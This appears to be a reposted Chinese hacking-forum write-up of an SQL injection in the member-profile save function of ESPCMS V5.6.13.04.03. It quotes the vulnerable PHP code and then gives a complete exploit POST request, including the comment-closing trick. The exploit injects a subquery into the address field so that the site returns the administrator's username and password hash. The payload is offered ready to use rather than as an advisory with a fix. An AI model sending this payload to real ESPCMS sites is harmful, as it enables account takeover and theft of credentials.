Espcms SQL注入漏洞 第二弹
http://team.f4ck.net/thread-10337-1-1.html


易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统。
易思ESPCMS企业网站管理系统V5.6.13.04.03的会员中心模块存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权操作。

漏洞文件: interface/membermain.php

function in_save() {
                parent::start_pagetemplate();
                parent::member_purview();
                $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
                $inputclass = $this->fun->accept('inputclass', 'R');
                $upurl = $this->fun->accept('upurl', 'R');
                $userid = intval($this->fun->accept('userid', 'P'));
                $username = $this->fun->accept('username', 'P');
                if (empty($userid) || empty($username)) {
                        $linkURL = $this->mlink['center'];
                        $this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']);
                }
                $email = trim($this->fun->accept('email', 'P'));
                $question = trim($this->fun->accept('question', 'P', true, true));
                $answer = trim($this->fun->accept('answer', 'P', true, true));
                $alias = trim($this->fun->accept('alias', 'P', true, true));//通过一个accept函数,确定为post提交
                $sex = $this->fun->accept('sex', 'P');//注得就是你了.$sex可控,
                $sex = empty($sex) ? 0 : $sex;
                $tel = trim($this->fun->accept('tel', 'P', true, true));
                $mobile = trim($this->fun->accept('mobile', 'P', true, true));
                $birthday = $this->fun->accept('birthday', 'P');
                $birthday = empty($birthday) ? 0 : $this->fun->formatdate($birthday, 4);
                $country = intval($this->fun->accept('cityone', 'P'));
                $country = empty($country) ? 0 : $country;
                $province = intval($this->fun->accept('citytwo', 'P'));
                $province = empty($province) ? 0 : $province;
                $city = intval($this->fun->accept('citythree', 'P'));
                $city = empty($city) ? 0 : $city;
                $district = intval($this->fun->accept('district', 'P'));
                $district = empty($district) ? 0 : $district;
                $address = trim($this->fun->accept('address', 'P', true, true));
                $zipcode = trim($this->fun->accept('zipcode', 'P', true, true));
                $zipcode = empty($zipcode) ? 0 : $zipcode;
                $msn = trim($this->fun->accept('msn', 'P', true, true));
                $qq = $this->fun->accept('qq', 'P');
                $qq = empty($qq) ? 0 : $qq;

                $db_table = db_prefix . 'member';
                $db_table2 = db_prefix . 'member_value';

下面来看看怎么进行入库处理的吧。
$db_where = 'userid=' . $userid;
$db_set= "sex=$sex,birthday=$birthday,country=$country,province=$province,city=$city,district=$district,alias='$alias',address='$address',zipcode=$zipcode,tel='$tel',mobile='$mobile',qq=$qq,msn='$msn'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);

Update注入,看了下数据库,address为varchar。

因为这个cms有个防报错的函数,构造遇到了点麻烦,一出错就显示Can not connect to Mysql server,
 

追踪下此函数:

function halt($message = '', $sql = '') { 
                $db_err = !db_err ? 0 : db_err; 
                $db_sql = !db_sql ? 0 : db_sql; 
                $mysqlinfo = '<font size="2"><b>ESPCMS SQL Error:</b> Can not connect to MySQL server<b>Time:</b>' . date('e Y-m-d H-i-s', time()); 
                $mysqlinfo.= $db_sql ? '<b>SQL:</b>' . $sql : ''; 
                $mysqlinfo.= $db_err ? '<b>Error:</b>' . mysql_error() : ''; 
                $mysqlinfo.= '<a target="_blank" href="http://www.espcms.com">http://www.espcms.com</a> Access Query Errors</font>'; 
                
                exit($mysqlinfo); 
        }

为了方便构造, 把出错的sql语句和出错的提示都打印出来。
sex=1,birthday=2013-04-02,country=0,province=0,city=0,district=0,alias=1,address=(select concat(username,CHAR(0x7c),password) from espcms_admin_member limit 1),zipcode=0,tel=0,mobile=0,qq=0,msn=0/*&birthday=2013-04-02&cityone=0&citytwo=0&citythree=0&district=0&address=12&zipcode=0&tel=&mobile=&msn=&qq=*/

以上为原文。

以下为漏洞利用备注:
EXP
POST的数据包:

POST /index.php?ac=membermain&at=save
upurl=http%3A%2F%2F192.168.29.173%2Fespcms%2Fespcms_utf8_5.6.13.03.11_b%2Findex.php%3Fac%3Dmembermain%26at%3Deditpassword&inputclass=editinfo&userid=1&username=test1&email=test%4011.com&mvid=&alias=1&sex=1,birthday=2013-04-02,country=0,province=0,city=0,district=0,alias=1,address=(select concat(username,0x7c,password) from espcms_admin_member limit 1),/*&qq=*/&submit=%E7%A1%AE%E8%AE%A4%E4%BF%AE%E6%94%B9%E8%B5%84%E6%96%99

注意:
这里address添加注射语句:(select concat(username,0x7c,password) from espcms_admin_member limit 1),/*
POST的参数zipcode或者qq为*/ ,是和前面的闭合,此处若不提交则程序会给zipcode和qq赋上默认值“0”,且语句的注释符无法闭合会导致报错。


刚开始没搞懂这里,在/interface/membermain.php里250行下添加:
echo $db_set;

发包时回显出数据库中的语句就是
sex=1,birthday=2013-04-02,country=0,province=0,city=0,district=0,alias=1,address=(select concat(username,0x7c,password) from espcms_admin_member limit 1)/*,birthday=0,country=0,province=0,city=0,district=0,alias='1', address='',zipcode=0,tel='',mobile='',qq=*/,msn=''
语句闭合,注入执行。

源链接

Hacking more

...